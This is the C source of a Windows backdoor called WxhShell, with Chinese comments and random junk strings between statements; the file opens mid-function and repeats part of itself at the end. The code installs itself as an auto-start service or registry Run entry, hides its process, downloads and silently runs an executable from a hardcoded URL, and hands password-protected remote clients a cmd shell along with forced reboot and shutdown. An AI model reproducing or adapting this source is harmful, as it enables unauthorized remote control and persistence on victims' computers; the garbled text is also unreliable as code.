SU^/qF%8 HANDLE hProcess; zKZ6Qjd8! PROCESS_BASIC_INFORMATION pbi; SVJ3!1B, g6S8@b))| HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); mGX;JOjZ if(NULL == hInst ) return 0; VrDv d K>-m8.~\E g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); qe0@tKim g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); N4r`czoj NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); l#%w,gX +]
uY if (!NtQueryInformationProcess) return 0; [Gu]p& 8d]=
+n! hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ;2$^=:8 if(!hProcess) return 0; 7G xNI eL],\\q if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; H7WKnn@ TE/2}XG) CloseHandle(hProcess); A="h}9ok GXwV>)!x hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 15870xS if(hProcess==NULL) return 0; ^+pmZw90 sUA)I%Q! HMODULE hMod; ms~ mg: char procName[255]; 7XZ!UC;i unsigned long cbNeeded; +Q{jV^IT9 UO</4WJ if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ^<<
Wqmx 7Y_S%B:F CloseHandle(hProcess); :R_(+EK1 Ly3^zFW if(strstr(procName,"services")) return 1; // 以服务启动 =U?"# 4Vt YR return 0; // 注册表启动 ,cS|fG } >2_J(vm> hhwV)Z // 主模块 XI
pXP,Yy int StartWxhshell(LPSTR lpCmdLine) w+Ag!O}.L { W8\K_M} SOCKET wsl; xl
s_g/Q BOOL val=TRUE; 8c#u"qF int port=0; b"p,~{ struct sockaddr_in door; Z$T1nm%lo: z"R-Sme if(wscfg.ws_autoins) Install(); A|jaWZM- bA1uh]oB port=atoi(lpCmdLine); 6kHAoERp *V>Iv/( if(port<=0) port=wscfg.ws_port; 5`0tG; \acjv|] WSADATA data; nx=Zl:Q} if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; POdG1;) 0IxXhu6v if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; u3Ua>A- setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); oC"c%e8 door.sin_family = AF_INET; -k=02?0p+ door.sin_addr.s_addr = inet_addr("127.0.0.1"); 59IxY
? door.sin_port = htons(port); GKSfr8US4 <1>\?$)D if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { _yumUk-QW closesocket(wsl); lQY?!oj&q return 1; h0L*8P`t } <Jv %}r |lrLTI^a if(listen(wsl,2) == INVALID_SOCKET) { Kr!8H/Z closesocket(wsl); s7#w5fe return 1; '*|Wi}0R } noV]+1#"V Wxhshell(wsl); Jn-iIl WSACleanup(); =EgiV<6vcH Rcfh*"k return 0; a=T_I1 '/G.^Zl9 } s`U.h^V $d'GCzYvZ // 以NT服务方式启动 lZ'-?xo VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) " P c"{w { |]w0ytL>(2 DWORD status = 0; KFvNsqd DWORD specificError = 0xfffffff; LSS3(l[,: |MY6vRJ( serviceStatus.dwServiceType = SERVICE_WIN32; a`|&rggN serviceStatus.dwCurrentState = SERVICE_START_PENDING; icOh/G=N; serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; K\v1o serviceStatus.dwWin32ExitCode = 0; 18jI6$DY serviceStatus.dwServiceSpecificExitCode = 0; 1-!u=]JDE serviceStatus.dwCheckPoint = 0; v `9IS+Z serviceStatus.dwWaitHint = 0; 0.Pd,L( E=+v1\t)] hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); l:5x*QSX if (hServiceStatusHandle==0) return;
s>~ h<B ZnVi.s~1V status = GetLastError(); N&n2\Y if (status!=NO_ERROR) rZm|7A)i { &W)Lzpx8c serviceStatus.dwCurrentState = SERVICE_STOPPED; ),1MR= serviceStatus.dwCheckPoint = 0; ]-FK6jw serviceStatus.dwWaitHint = 0; Y5M>&}N serviceStatus.dwWin32ExitCode = status; ;"l>HL:^ serviceStatus.dwServiceSpecificExitCode = specificError; |}P4Gr}6 SetServiceStatus(hServiceStatusHandle, &serviceStatus); q^ lx03 return; gh>'O/9 } -*t4(wT|j %Aq+t&-BCX serviceStatus.dwCurrentState = SERVICE_RUNNING; ^dj
avJ serviceStatus.dwCheckPoint = 0; fS+Ga1CsH serviceStatus.dwWaitHint = 0; 9&a&O
Z{ if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); _7Z|=) } `&xo;Vnc
?UuJk // 处理NT服务事件,比如:启动、停止 _PUgK\ VOID WINAPI NTServiceHandler(DWORD fdwControl) AdMA|!|:hc { 7/%{7q3G> switch(fdwControl) /V}>v { @LZ'Qc
}@ case SERVICE_CONTROL_STOP: uSh!A serviceStatus.dwWin32ExitCode = 0; hqOy*!8'@ serviceStatus.dwCurrentState = SERVICE_STOPPED; #-?C{$2I serviceStatus.dwCheckPoint = 0; B@XnHh5y serviceStatus.dwWaitHint = 0; 2~[f<N { p(dJf&D SetServiceStatus(hServiceStatusHandle, &serviceStatus); e}>8rnR{ } Rrh?0qWs return; ~u|k1 case SERVICE_CONTROL_PAUSE: l+g\xUP serviceStatus.dwCurrentState = SERVICE_PAUSED; {nTQc2T?; break; lYEMrr!KQw case SERVICE_CONTROL_CONTINUE: 6M^P]l serviceStatus.dwCurrentState = SERVICE_RUNNING; ]gI>ay"\QA break; "BSSA%u?c case SERVICE_CONTROL_INTERROGATE: mqxgrb7 break; &s m7R i }; Ws2SD6!4` SetServiceStatus(hServiceStatusHandle, &serviceStatus); hwgLJY? } "A\.`*6 #lDf8G|ST~ // 标准应用程序主函数 m]LR4V6k| int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) RW19I,d { R1$O )A}k f44b=,Lry5 // 获取操作系统版本 mY[s2t OsIsNt=GetOsVer(); ia=eFWt. GetModuleFileName(NULL,ExeFile,MAX_PATH); s>y=-7:N 29eg.E // 从命令行安装 P%HvL4R if(strpbrk(lpCmdLine,"iI")) Install(); %tx~CD $@]tTz;b // 下载执行文件 N$u;Q(^ if(wscfg.ws_downexe) { Bqo8G-> if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 2BTFK"=U WinExec(wscfg.ws_filenam,SW_HIDE); $gKMVgD" } g-B~"tp 5:[<pY!s# if(!OsIsNt) { fa#xEWaFr // 如果时win9x,隐藏进程并且设置为注册表启动 cH$zDm1 HideProc(); mDJF5I StartWxhshell(lpCmdLine); )C>4?) } r2:n
wlG else iq s if(StartFromService()) 2Eq?^ )s // 以服务方式启动 Bl,rvk2 StartServiceCtrlDispatcher(DispatchTable); \)H} else o80?B~o // 普通方式启动 I_vPGafMx StartWxhshell(lpCmdLine); m~KGB" 9Z! j return 0; LR :Qb]|" } b-sbR R {\tHS+] z}XmRc_Ko R <kh3T =========================================== F_8<
tA6 w h4WII j@OGl&'^- |
CNsa OyTE d5\3 SSi-Z " HS1Gy/6' }(}+I}&~ #include <stdio.h> q2qbbQ6H #include <string.h> \U^0E> d #include <windows.h> R-xWZRl> #include <winsock2.h> >3R%GNw #include <winsvc.h> 1PwqWg-\\ #include <urlmon.h> yc|j]? OKDBzl #pragma comment (lib, "Ws2_32.lib") ["'0vQ #pragma comment (lib, "urlmon.lib") -8-BVU ]k2Jf}| #define MAX_USER 100 // 最大客户端连接数 B?}ZAw> #define BUF_SOCK 200 // sock buffer vIk;x #define KEY_BUFF 255 // 输入 buffer _)4YxmK% etY/K0 #define REBOOT 0 // 重启 /.leY$ #define SHUTDOWN 1 // 关机 H^Th]-Zl xRZ9.Agv_ #define DEF_PORT 5000 // 监听端口 PA5_ n<C4-'^U[a #define REG_LEN 16 // 注册表键长度 nF0V`O\T #define SVC_LEN 80 // NT服务名长度 k0;N D }m6zu'CV // 从dll定义API h> K~<BAz' typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); fV[(s7vW typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); W_z2Fs"A typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); "^A4 !. typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); -7_`6U2" EC6)g;CO // wxhshell配置信息 bv&A)h"S struct WSCFG { } $:uN int ws_port; // 监听端口 11Kbj`sRZ char ws_passstr[REG_LEN]; // 口令 Wb! "L`m int ws_autoins; // 安装标记, 1=yes 0=no FI,>v` char ws_regname[REG_LEN]; // 注册表键名 dQfVdqg char ws_svcname[REG_LEN]; // 服务名 PZn[Yb: char ws_svcdisp[SVC_LEN]; // 服务显示名 ;lqtw]4v char ws_svcdesc[SVC_LEN]; // 服务描述信息 klC;fm2C char ws_passmsg[SVC_LEN]; // 密码输入提示信息 oXA3i int ws_downexe; // 下载执行标记, 1=yes 0=no +dWx?$n char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 'I|A*rO char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Y,O)"6ev hX#s3)87 }; =2HR+ J 00<NRxj" // default Wxhshell configuration vywd&7gK struct WSCFG wscfg={DEF_PORT, k/+-Tq; "xuhuanlingzhe", Ux_ tHyc/ 1, )zK`*Fa
az "Wxhshell", %JBFG.+ "Wxhshell", +^% y&8e "WxhShell Service", =j[zMO "Wrsky Windows CmdShell Service", C2GF
N1i "Please Input Your Password: ", H\ A!oB,sw 1, m=&j2~<i "http://www.wrsky.com/wxhshell.exe", @fR^":.h "Wxhshell.exe" a/!!Y@7 }; y(&JE^GfX XCU.tWR: // 消息定义模块 ]=v_u9; char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; b#h?O} char *msg_ws_prompt="\n\r? for help\n\r#>"; tjZ.p.IlG char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; xao'L char *msg_ws_ext="\n\rExit."; 3nt&Sf char *msg_ws_end="\n\rQuit."; S -j<O&h~C char *msg_ws_boot="\n\rReboot..."; '| Enc"U char *msg_ws_poff="\n\rShutdown..."; `_Bvaej?, char *msg_ws_down="\n\rSave to "; '0g1v7Gx qJ QE|VM& char *msg_ws_err="\n\rErr!"; "@!z+x[8 char *msg_ws_ok="\n\rOK!"; ZN!OM)@:! IWeQMwg char ExeFile[MAX_PATH]; qM
F'& int nUser = 0; 5Cxh>,k HANDLE handles[MAX_USER]; *_d+c G int OsIsNt; )|`eCzCB j:D@X=| SERVICE_STATUS serviceStatus; LO@.aJpp
SERVICE_STATUS_HANDLE hServiceStatusHandle; 9"_JiX~3 Eq-fR~<9 // 函数声明 lcgT9m# int Install(void); zmkqqiDp_ int Uninstall(void); 4?XX_=+F| int DownloadFile(char *sURL, SOCKET wsh); !=C4=xv int Boot(int flag); 03?TT,y$ void HideProc(void); pq[RH-{ int GetOsVer(void); BQWEC,*N int Wxhshell(SOCKET wsl); EqzS={Olj void TalkWithClient(void *cs); g~_cYy int CmdShell(SOCKET sock); A0.)=q int StartFromService(void); \dj&4u3 int StartWxhshell(LPSTR lpCmdLine); 9_'xq.uP ($*bwqp]} VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); H=]$9ZH! VOID WINAPI NTServiceHandler( DWORD fdwControl ); SeAokz> $Ch!]lJA // 数据结构和表定义 3/8o)9f. SERVICE_TABLE_ENTRY DispatchTable[] = ,Iq+ v { 6'W79 {wscfg.ws_svcname, NTServiceMain}, 9Ue3
%?~c {NULL, NULL} v :]y#y };
`we2zT jEfrxlj // 自我安装 *v3/8enf int Install(void) E :*!an { [dFxW6n char svExeFile[MAX_PATH]; p,}-8#K[ HKEY key; /b,M492 strcpy(svExeFile,ExeFile); 3:jKuOX uRG0}>]|U // 如果是win9x系统,修改注册表设为自启动 dA>t if(!OsIsNt) { W>eJGZ< if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { x|*v(,7b]! RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); G T#hqt'1x RegCloseKey(key); 'qQ 5K
o if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { B, nCx=\S RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); p3 I{ RegCloseKey(key); yCkfAx8] return 0; |$Dt6{h } qa#Fa)g* } s<'^
@Y } %KNnss} else { kCxmC<34 Nkn0G_ // 如果是NT以上系统,安装为系统服务 3B/ GcltfM SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); VaQ>g*(I if (schSCManager!=0) 9Am&G { r~F T, SC_HANDLE schService = CreateService Je2o('MA ( !y$Hr[v schSCManager, 62rTGbDbx wscfg.ws_svcname, 53P\OG^G` wscfg.ws_svcdisp, s4P8PDhz SERVICE_ALL_ACCESS, E4[
|=< SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , _CAWD;P SERVICE_AUTO_START, f!ehq\K1k SERVICE_ERROR_NORMAL, ,0NVb7F;k svExeFile, ^DXERt&3 NULL, G& cm5 NULL, 5+rYk|*D+k NULL, ,)'!E^n NULL, K`* 8*k{ NULL QKc3Q5)@j ); :Gqyj_|< if (schService!=0) 2,puu2F { u /JEQz1 CloseServiceHandle(schService); 7oA$aJQ CloseServiceHandle(schSCManager); ~6.AE/ow strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); _X;^'mqf~ strcat(svExeFile,wscfg.ws_svcname); f}^}d"&F if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { VE4!=4 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); O^G/( RegCloseKey(key); _o~<f)E[9 return 0; J)A1`(x&T } xB]~%nC[O } M |?qSFv: CloseServiceHandle(schSCManager); dm,7OQ } (S0MqX* } d?WA}VFU @!'Pr$` return 1; pA='(G } 6hXL`A&}, Y fk[mo // 自我卸载 Z/sB72K1 int Uninstall(void) )+wBS3BC { qWKpnofa HKEY key; `j(\9j ok eJilSFp1 if(!OsIsNt) { ~-GgVi*I if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { zBay 3a RegDeleteValue(key,wscfg.ws_regname); b=:AFs{ RegCloseKey(key); ~l}rYi>g% if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { &zlwV"W RegDeleteValue(key,wscfg.ws_regname); }+#-\a2 RegCloseKey(key); Bt[`p\p@ return 0; 5(1Zj`>' } `Q1S8i$ } qw&Wfk\} } %'"#X?jk1 else { VxLq,$B76 j*x8K,fN SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); "u Xl if (schSCManager!=0) Zn1+} Z@I { enj Ti5X SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); zwN;CD1 if (schService!=0) @R9zLL6#7 { Um)0jT if(DeleteService(schService)!=0) { &1%W-&bc6 CloseServiceHandle(schService); Z{EHV7 CloseServiceHandle(schSCManager); pM@|P,w { return 0; S6h=}
V) } eU1= :n&&\ CloseServiceHandle(schService); x|_%R
v } }+nC}A"BC CloseServiceHandle(schSCManager); M-K<w(,X } ^5qX+!3r{ } }el.qZ "L1cHP~d return 1; VFT
G3,kI } `x lsvK> CCDoiTu!4 // 从指定url下载文件 3uwu}aw int DownloadFile(char *sURL, SOCKET wsh) J|sX{/WT { )@ZJ3l. HRESULT hr;
02Ur'| char seps[]= "/"; i@6MO'y char *token; 9<k<HmkD char *file; ^b~&}uU char myURL[MAX_PATH]; Ox8dnPcx char myFILE[MAX_PATH]; 5`{ +y] yHurt>8b[ strcpy(myURL,sURL); 30*^ERO token=strtok(myURL,seps); k;3Bv 6 while(token!=NULL) ?cG+rC% { YPDc
/ file=token; }9R45h}{< token=strtok(NULL,seps); o$'Fz[U } (zWzF_v -g]/Ko]2@$ GetCurrentDirectory(MAX_PATH,myFILE); 82&JYx strcat(myFILE, "\\"); zid?yuP strcat(myFILE, file); fPiq
send(wsh,myFILE,strlen(myFILE),0); /"- k
;jz send(wsh,"...",3,0); ]cc4+}L~ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ?Mp~^sgp' if(hr==S_OK) /_rQ>PgSZW return 0; ]}<.Y[!S else +e)So+.W return 1; QBR9BR oB-&ma[ZS } Ig'Y]%Z0 P0Ds7xh]h // 系统电源模块 ?|%^'(U} int Boot(int flag) /1h`O@VA { W([)b[-* HANDLE hToken; Xf:CGR8_ TOKEN_PRIVILEGES tkp; X;w1@4! ^OI if(OsIsNt) { \_!FOUPz( OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); oZ& ns!# LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); YUF!Y9! tkp.PrivilegeCount = 1;
UQ$dO2^ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; +#6WORH0S AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); YdV5\! if(flag==REBOOT) { +AZ=nMgW if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) N(dn"`8 return 0; 3rZFN^ } EX>> -D7L else { en=Z[ZIPO if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) kNI m90,g return 0; L:`|lc=^ } =oluw|TCe7 } 3hmuF6y~ else { .!U `,)I if(flag==REBOOT) { BXa1[7Z
if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) {uM0J$P : return 0; Umv_{n` } <eO 7b6_ else { D,mFme if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 56G5JSB=\ return 0; nv{ou[vQ } s$C;31k } m,K\e m/0G=%d%k return 1; dDi 1{s } [dk|lkj@u\ h"l{cDk // win9x进程隐藏模块 Fy`VQ\%7t void HideProc(void) >%qGK-_ { UldK lQ8 (^qcX;- HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); plsf` a if ( hKernel != NULL ) \z:p"eua z { 01H3@0Q6 pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); iFF/[P ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); uji])e MN~ FreeLibrary(hKernel); 0w< iz;30 } ?TMo6SU \Y>^L{ return; CS50wY } $]|_xG-6{ cn<9!2a // 获取操作系统版本 5Lum$C
c} int GetOsVer(void) j[iJo
5 { K._1sOw'"Y OSVERSIONINFO winfo; m;KMr6sO winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); E IEwrC GetVersionEx(&winfo); 49/1#^T"Q> if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) @a%,0Wn return 1; m1\>v?=K else bCd! ap+# return 0; }9Y='+.%^ } u+(e,t DMfC(w.d // 客户端句柄模块 J#Bz)WmR int Wxhshell(SOCKET wsl) lDMYDy{< { d`({z]W; SOCKET wsh; xS,):R struct sockaddr_in client; %m+Z rH( DWORD myID; _qE2r^o"B Cgq9~U ! while(nUser<MAX_USER) k^R>x V
{ ]Y;$~qQ int nSize=sizeof(client); oJ6
d: wsh=accept(wsl,(struct sockaddr *)&client,&nSize); HeSnj-mtr} if(wsh==INVALID_SOCKET) return 1; HFo}r~ (9Hc`gd)p handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 8Yb/ c* if(handles[nUser]==0) \sp7[}Sw closesocket(wsh); b<=K@I.= else gMHH3^\VH) nUser++; hH@018+ } J3$`bK6F6 WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 1/HPcCsHb Sn0?_vH4 return 0; 61jDI^: } HL 88 2$T~(tem // 关闭 socket +|#:*GZ void CloseIt(SOCKET wsh) }d6g{` { ?#FAa, closesocket(wsh); /f0_mi,bD nUser--; 2{U4wTu ExitThread(0); ceZt%3=5 } Dtr'X@U SxOM@A // 客户端请求句柄 }jIb ^|#CD void TalkWithClient(void *cs) RKjA`cJ { 4SG[_:+! J~c]9t SOCKET wsh=(SOCKET)cs; ke&c<3m char pwd[SVC_LEN]; m$@Cw Qj char cmd[KEY_BUFF]; !w
C4ei` char chr[1]; `bH Eu"(, int i,j; dFFB\|e;0 8|J%IE while (nUser < MAX_USER) { &VQwuO :;7q up if(wscfg.ws_passstr) { 08.dV<P if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ):.]4n{L //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); W?6RUyMC$T //ZeroMemory(pwd,KEY_BUFF); HX<5i>]0\u i=0; ;dPLi4=o while(i<SVC_LEN) { wz:w R+ ^8fO3<Jg // 设置超时 -2Ub'*qK fd_set FdRead; JFZZ-t;* struct timeval TimeOut; vWj|[| <rX FD_ZERO(&FdRead); } O!LTD FD_SET(wsh,&FdRead); u}ab[$Q5 TimeOut.tv_sec=8; gbSZ-
ej TimeOut.tv_usec=0;
Y@L`XNl int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Ymn0?$,D1= if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); cFuvi^n\ Hi|Oeu if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Z7%>O:@z pwd=chr[0]; fQe- v_K if(chr[0]==0xd || chr[0]==0xa) { ]54V9l: pwd=0; ^WUF3Q**OU break; vB#3jI } i[FBll- i++; Nf3Kz#!B } Dj %jrtT O'j;"l~H| // 如果是非法用户,关闭 socket lRentNg0b if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); OcIJT1 } RAxA H 9i9VDk{ send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); O":x$>'t send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Z*` CK^^~ %n{E/06f while(1) { L$Ss]Ar= JLs7[W)O ZeroMemory(cmd,KEY_BUFF); UT>\u dGHRHXi // 自动支持客户端 telnet标准 e;[/ytz"d' j=0; A;{8\e while(j<KEY_BUFF) { Z7Mc.[C if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ))AjX cmd[j]=chr[0]; }`*]&I[P if(chr[0]==0xa || chr[0]==0xd) { rTK/WZs8 cmd[j]=0; L,\ Yj break; R3.tkFZq] } Y[*z6gP( j++; iF<VbQP=X^ } Mi:$<fEX #,GpZ // 下载文件 W;u~}k< if(strstr(cmd,"http://")) { g$$uf[A-SL send(wsh,msg_ws_down,strlen(msg_ws_down),0); J6&;pCAi if(DownloadFile(cmd,wsh)) '{Iv?gh" send(wsh,msg_ws_err,strlen(msg_ws_err),0); =|am=Q?Q else N}zQ)]xz+r send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .GkH^9THP } #*?5 else { aBol9`6 /__we[$E switch(cmd[0]) { WG(tt. /GfC/)1_ // 帮助 +9,"ne1'e case '?': { 3Pkzzyk_|D send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 8?P@<Do% break; ^tae
(} } k`kmmb> // 安装 -F@Rpfrj_# case 'i': { U0UOubA if(Install()) z8jQaI]j send(wsh,msg_ws_err,strlen(msg_ws_err),0); R\1#)3e0 else d];E99} send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); j$Gb>Ex> break; }.MJVB3 } uu]<R@!J // 卸载 LW0't}
z case 'r': { ;lnh;0B if(Uninstall()) 9`QWqu[ send(wsh,msg_ws_err,strlen(msg_ws_err),0); KS3
/ else fg+Q7'*Vq send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); jK3% \`o break; Kh'/Ne? } [6)`wi // 显示 wxhshell 所在路径 X=mzo\Aos case 'p': { |OhNQoTY char svExeFile[MAX_PATH]; vgo-[^FiP$ strcpy(svExeFile,"\n\r"); B TgL: strcat(svExeFile,ExeFile); ?VO*s-G:J send(wsh,svExeFile,strlen(svExeFile),0); xG\&QE break; ??ah } *5.s@L( VU // 重启 Quc9lL case 'b': { ={YW*1Xw send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); n3jA[p:
if(Boot(REBOOT)) Vv0dBFe send(wsh,msg_ws_err,strlen(msg_ws_err),0); d]$z&E else { Ojr{z closesocket(wsh); \y"!`.E7\d ExitThread(0); $xa#+ } ?_(0cVi break; ;WO/xA-# } -=s7Q{O8Z // 关机 /{\tkvv-Z case 'd': { srw5&s(3X send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Fpzps!(;= if(Boot(SHUTDOWN)) u&mB;:& send(wsh,msg_ws_err,strlen(msg_ws_err),0); w J/k\ else { >-c ; closesocket(wsh); u&9|9+"N ExitThread(0); ,a~-
(@ } 5E+l5M*( break; S%R:GZEf_ } GG/~)^VMe // 获取shell #3f\,4K5 case 's': { wk<QYLEk CmdShell(wsh); xoA\^AA closesocket(wsh); ~^UQw?; ExitThread(0); ?tQUZO break; 1b-4wonQd } O|O#T.Tg // 退出 j$4Tot case 'x': { hIuKs5` send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); L ![b f5T CloseIt(wsh); (B.J8`h } break; G sm5L<rx } aF;QSI // 离开 wwF]+w%lOw case 'q': { -e3m!h send(wsh,msg_ws_end,strlen(msg_ws_end),0); N0,.cd]y` closesocket(wsh); rgWGe6;! WSACleanup(); B-
N exit(1); .36z break; N5Eb.a9S } }Gqx2 )H } {*bXO8vi(( } Q|rrbx b EGf9pcUEO& // 提示信息 %u-l6<w#R if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); qY]IX9'kV } v[T5D: } S^HuQe!# {e/Qs|a
R return; w^sM,c5d } yk5-@qo f*04=R?w7> // shell模块句柄 ]7}2"?J4v int CmdShell(SOCKET sock) R;,+0r^i { pP;GDW4 STARTUPINFO si; c!AGKc ZeroMemory(&si,sizeof(si)); ~T7\lJ{%G si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; *IJctYJaX si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; /[`bPKr PROCESS_INFORMATION ProcessInfo; / Li?;H char cmdline[]="cmd"; }A'QXtI/G CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Y-hGHnh]' return 0; ZMQSy7 } a]|P rjPI #uVH~P5TM // 自身启动模式 ;?"2sS!AHQ int StartFromService(void) id8a#&t] { c~[L;_ typedef struct I:Wrwd
{ Gt{~u^< DWORD ExitStatus; tbrjTeC DWORD PebBaseAddress; N>giFj[dD DWORD AffinityMask; >_XRh DWORD BasePriority; N'w;1,c+ ULONG UniqueProcessId; ; 6Js
ULONG InheritedFromUniqueProcessId; 73OFFKbsk } PROCESS_BASIC_INFORMATION; w?|gJ*B" d#cw`h<c~ PROCNTQSIP NtQueryInformationProcess; $q);xs rTT Uhd static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; pwU
l&hwte static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; EH<rUv63 %GQPiWu HANDLE hProcess; DS0c0lsx PROCESS_BASIC_INFORMATION pbi; l?LwQmq6 e$}x;&c Q HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); //S/pCqED if(NULL == hInst ) return 0; Sa7bl~p\ AAUFX/}8P g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); J@ZIW%5 g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); u+"3l@Y# NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ~'k.'O{ 4/e|N#1`;[ if (!NtQueryInformationProcess) return 0; O
N..B}J D#R5G
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); C)66^l!x if(!hProcess) return 0; H=O/w3 da<B6! if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 2ZW
